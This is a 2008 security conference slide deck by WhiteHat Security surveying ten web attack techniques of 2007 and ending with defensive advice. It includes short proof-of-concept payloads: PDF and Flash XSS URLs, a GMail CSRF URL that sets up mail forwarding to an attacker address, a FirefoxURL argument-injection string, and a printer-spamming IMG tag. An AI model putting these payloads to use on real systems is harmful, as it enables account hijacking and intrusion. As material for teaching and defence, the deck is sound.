top ten hacks of 2007

© 2008 WhiteHat Security, Inc.

New Jersey Luncheon02.06.2008

Jeremiah GrossmanWhiteHat Security founder & CTO

Top Ten Hacks of 2007“What They Bode for 2008”


Jeremiah Grossman

WhiteHat Security Founder & CTO

Technology R&D and industry evangelist(Named to InfoWorld's CTO Top 25 for 2007)

Frequent international conference speaker

Co-founder of the Web Application Security Consortium

Co-author: Cross-Site Scripting Attacks

Former Yahoo! information security officer

2


SymantecQualysNessusnCircle

WhiteHat

Security

“well-known” vulnerabilities

Vulnerability Stack

3

Focus on “custom web applications”


Target #1

155 million websites

500,000+ websites with SSL-certificates

Many are mission-critical and gateways to highly sensitive customer and corporate information

These websites are accessible by over 1 billion people

4

http://news.netcraft.com/archives/2008/01/28/january_2008_web_server_survey.html


Everyone is a Target

hacked

5


Over 80 new “Web hacks” discovered in 2007 -- 10 more than 2006.

"Hacks" describe the new creative, useful, and interesting attack techniques.

2006 techniques saw action in 2007 and techniques from 2007 are already seeing action in 2008.

6

Top Ten Hacks of 2007

http://jeremiahgrossman.blogspot.com/2008/01/top-ten-web-hacks-of-2007-official.html

1. XSS Vulnerabilities in Common Shockwave Flash Files 2. Universal XSS in Adobe!s Acrobat Reader Plugin 3. Firefox!s JAR: Protocol issues 4. Cross-Site Printing (Printer Spamming) 5. Hiding JS in Valid Images 6. Firefoxurl URI Handler Flaw 7. Anti-DNS Pinning ( DNS Rebinding ) 8. Google GMail E-mail Hijack Technique 9. PDF XSS Can Compromise Your Machine 10. Port Scan without JavaScript


Cross-Site Scripting (XSS) - forcing malicious content to be served by a trusted website to an unsuspecting user.

Cross-Site Request Forgery (CSRF) - forcing an unsuspecting user!s browser to send requests they didn!t intend. (wire transfer, blog post, etc.)

JavaScript Malware - payload of an XSS or CSRF attack, typically written in JavaScript, and executed in a browser.

Exploiting the

Same-Origin

Policyattacker.com

attacker.com

bank.com

Read OK

Read Error

7

The big 3!


8

Getting infected with JavaScript Malware

Website owner embedded JavaScript malware.

Web page defaced with embedded JavaScript malware.

Clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non-persistent XSS)

JavaScript Malware injected into a public area of a website. (persistent XSS)

http://www.theregister.co.uk/2008/01/23/embassy_sites_serve_malware/

“...estimated that 51 percent of websites hosting malicious code over the past six months were legitimate destinations that had been hacked, as opposed to sites specifically set up by criminals. Compromised websites can pose a greater risk because they often come with a degree of trust.”

# 4. Cross-Site Printing (Printer Spamming)

http://aaron.weaver2.googlepages.com/CrossSitePrinting.pdf

#10. Port Scan without JavaScript

External access to the intranet via the web browser.

Intranet devices can controlled and exploited.

It!s no longer just theoretical, it!s in the wild!

http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html


Hacking intranet websites from the outsidehttp://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf

Attacks can penetrate the intranet by controlling/hijacking a user!s browser and using JavaScript Malware, which is on the inside of the network.

10

Intranet Hacking


Cross-Site Scripting (Printer Spamming)

12

“By using only JavaScript, an Internet web site can remotely print to an internal network based printer by doing an HTTP Post. The web site initiating the print request can print full text, enter PostScript commands allowing the page to be formatted, and in some cases send faxes. For the attack to succeed the user needs to visit a web site that contains this JavaScript. ” - Aaron Weaver

<img src=”myprinter:9100/Printed_from_the_web”>


Intranet Hacking Exploited in the Wild

13

http://www.symantec.com/enterprise/security_response/weblog/2007/02/driveby_pharming_how_clicking_1.html

http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_wild.html

Drive-by-Pharming

1. Victim user receives an e-card from an attacker.

2. E-card contains HTML IMG tag that sends an HTTP GET request to their router modifying the DNS settings so that the URL for a popular Mexico-based banking site would be mapped to an attacker!s Web site. (Password bypassed)

3. Subsequently visits to the banking website using the same computer would be directed to the attacker!s site where their credentials would be stolen.

http://archives.neohapsis.com/archives/fulldisclosure/2007-01/0062.html

DOM-based XSS using websites hosting PDFs.

JavaScript malware is NOT sent to the server.

It!s not just your cookies, it!s the files on your machine

too!

#2. Universal XSS in Adobe!s Acrobat Plugin

#9. PDF XSS Can Compromise Your Machine

http://ha.ckers.org/blog/20070103/pdf-xss-can-compromise-your-machine/


How it Works

15

1. Attacker locates a PDF file hosted on a website

2. Create a specially crafted URL pointing to the PDF append with some JavaScript Malware in the fragment portion.

http://website/path/to/file.pdf#s=javascript:alert(”xss”);

3. Attacker entices a victim to click on the link

4. If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes.

5. Everything XSS has shown to be capable of including Phishing w/ Superbait, Intranet Hacking, Web Worms, History Stealing, etc. is now available to the attacker.

http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html


It gets worse...

16

RSnake found that it!s possible to point the malicious URL to a default PDF file location on the local filesystem:

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");

This means the JavaScript Malware now runs in local context with the ability to read local files and oh so much more!

http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

CSRF attack - easy to exploit, hard to detect.

All your email is forwarded to the attacker.

Similar technique could be applied to many other websites.

#8. GMail E-mail Hijack Technique


How it Works

18

1. Victim visits a web page containing JavaScript malware.

2. The JavaScript malware forces the user to make a multipart/form-data form submission to GMail (CSRF).

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&[email protected]&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Creat

e%20Filter

3. If the user is logged-in, a filter is entered into the users account, which they are unlikely to notice, that forwards all their email to “[email protected]”.

http://www.jumperz.net/index.php?i=2&a=1&b=7

Hostnames for trusted websites point to an evil IP address.

Hard to detect and perfect for click fraud or intranet hacks.

Mass scale attacks are possible with just $100.

#7. Anti-DNS Pinning (DNS Rebinding)


How it Works

20

“DNS Pinning” is a security mechanism preventing secondary DNS lookups by hostile web servers attempting to read data from other domains. “DNS Rebinding” exploits the security.

Lets try to access web bank (111.111.111.111)

1. User visits “attacker” website (222.222.222.222).

2. JavaScript reconnects to attacker seconds later. (attacker is down!)

3. Browser queries the attackers DNS server for attacker!s new IP address. (111.111.111.111)

4. Browser connects to 111.111.111.111 thinking that it!s the attacker.

Can be done using several techniques in JavaScript, Java, Flash, ActiveX, etc.

#6. Firefoxurl URI Handler Flaw

http://xs-sniper.com/blog/2007/07/17/firefoxurl-uri-handler-flaw/

Using JavaScript to execute arbitrary OS commands.

Local zone buffer overflows and XSS is possible.

Finger pointing about whose problem it is.


How it Works

22

When Firefox is installed it registers a URL protocol handler called “FirefoxURL”. A typical shell open command for this handler is as follows:

[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url “%1" -requestPending

When Internet Explorer encounters a reference to content inside the FirefoxURL URL scheme it calls ShellExecute with the EXE image path and passes the entire request URI without any input validation. A request such as the following

FirefoxURL://foo” –argument “my value

will result in the following command line being used to launch Firefox

“C:\PROGRA~1\MOZILL~2\FIREFOX.EXE” -url “firefoxurl://foo” –argument “my value/” –requestPending

http://larholm.com/2007/07/10/internet-explorer-0day-exploit/

http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/

Upload JavaScript buried in a valid image

Vector for persistent XSS.

Hard to detect.

#5. Hiding JS in Valid Images


How it Works

24

<?php include 'myimage.gif'; ?>

To maintain GIF header add “=1" so JS engine does not consider header chars as defined variables. For escape special characters us “/*” and “*/”. To use a valid GIF as valid JS:

<script src=myimage.gif>

http://blog.beford.org/?p=8

Permanent XSS by hosting user-supplied JAR/ZIP/etc files.

Issue can be made worse by open redirects.

Huge doorway for JavaScript malware.

http://www.gnucitizen.org/blog/web-mayhem-firefoxs-jar-protocol-issues

#3. Firefox!s JAR: Protocol Issues


How it Works

26

“Once the malicious Zip/Doc/Odt/Etc/Etc/Etc file is uploaded/shared attackers will be able to cross-script the origins in whatever way they like. My research led to the discovery of many applications that are affected by this issue including some coming from top software vendors such as Google and Microsoft.” - pdp (architect)

jar:[url to archive]![path to file]

jar:https://domain/path/to/jar.jar!/Pictures/a.jpg

http://domain/redirect?url=jar:https://domain/path/to/jar.jar!/Pictures/a.jpg

http://docs.google.com/View?docid=ajfxntc4dmsq_14dt57ssdw&pli=1

Yet another new place for XSS to hide.

Thousands of vulnerable files detectable on the Web.

Difficult for technology AND humans to identify.

#1. XSS Vulnerabilities in Common Shockwave Flash Files


How it Works

28

“Many web authoring tools that automatically generate SWFs insert identical and vulnerable ActionScript into all saved SWFs or necessary controller SWFs. The vulnerable ActionScript can used by attackers to execute arbitrary JavaScript in the security domain of the website hosting the SWF. Websites hosting SWFs generated by these products are vulnerable to XSS.” - Rich Cannings

Adobe Dreamweaver and Contribute

The "skinName" parameter is accepted by all Flash files produced by the "Insert Flash Video" feature. "skinName" can be used to force victims to load of arbitrary URLs including the "asfunction" protocol handler:

http://example/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//

Furthermore, an attacker can use "skinName" to force victims to load of arbitrary SWFs leading to Cross Site Flashing (XSF) and XSS:

http://example/FLVPlayer_Progressive.swf?skinName=http://

rcannings.googlepages.com/DoKnowEvil


Web Browser Security

Stay patched and Install browser add-ons -- NoScript, SafeHistory, CustomizeGoogle, Adblock Plus,Netcraft Toolbar, and the eBay Toolbar.

Logout of websites when work is completed, especially the sensitive ones.

Be suspicious of long links, most importantly those containing HTML code. Best to type the domain name manually into your browser location bar.

Disable -- Java, Flash, and Active X prior to visiting questionable websites. Can!t really disable JavaScript anymore.

Surf with two Web browsers -- A primary is used for everyday surfing only. The secondary is used for “important” business only -- use bookmarks, login, do your work, logout, and exit.

VMWare Web surfing for the paranoid. If anything bad should happen, the local machine and data remains safe.

29


Code Security30

CSRF Protection

http://server/webapp?token=02c425157ecd32f259548b33402ff6d3ae

token = digest(session_id + salt) + saltsalt = 2-byte (at least) random value

XSS Output Filtering (HTML Encoding)

$data =~ s/(<|>|\"|\'|$|$|:)/'&#'.ord($1).';'/sge;$data =~ s/([^\w])/'&#'.ord($1).';'/sge;

Input Validation

Character-set - Only contain characters you expect to receive.Length - Restricted to a minimum and maximum number of bytes.Data Format - Data is consistent with what is expected. Phone should look like phone numbers, email addresses should look like email address, etc.


Website Security31

Configuration -- Securely configure and patch Intranet websites.

Authentication -- Add strong passwords to ALL Web-enabled devices, including those on the Intranet (no defaults).

Data Storage -- Restrict what file-types you allow users to submit and perform extra file format sanity checking.

Content Distribution -- Serve user-submitted content from numbered IP addresses or from "safe" domains (i.e. domains that contain no sensitive cookies or domains that cannot be used for phishing) or remove all third-party content all together.

For more information visit: www.whitehatsec.com/

Jeremiah Grossman, founder and CTOblog: http://jeremiahgrossman.blogspot.com/email: [email protected]

Thank You!

top ten hacks of 2007

Technology

crosssite scripting

industry evangelist

infoworlds cto